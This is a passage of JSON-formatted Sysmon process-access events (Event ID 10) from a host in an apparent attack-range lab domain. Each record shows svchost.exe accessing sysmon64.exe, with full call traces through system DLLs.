C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1428,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1429,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1430,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1431,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1432,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1433,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1434,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1435,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 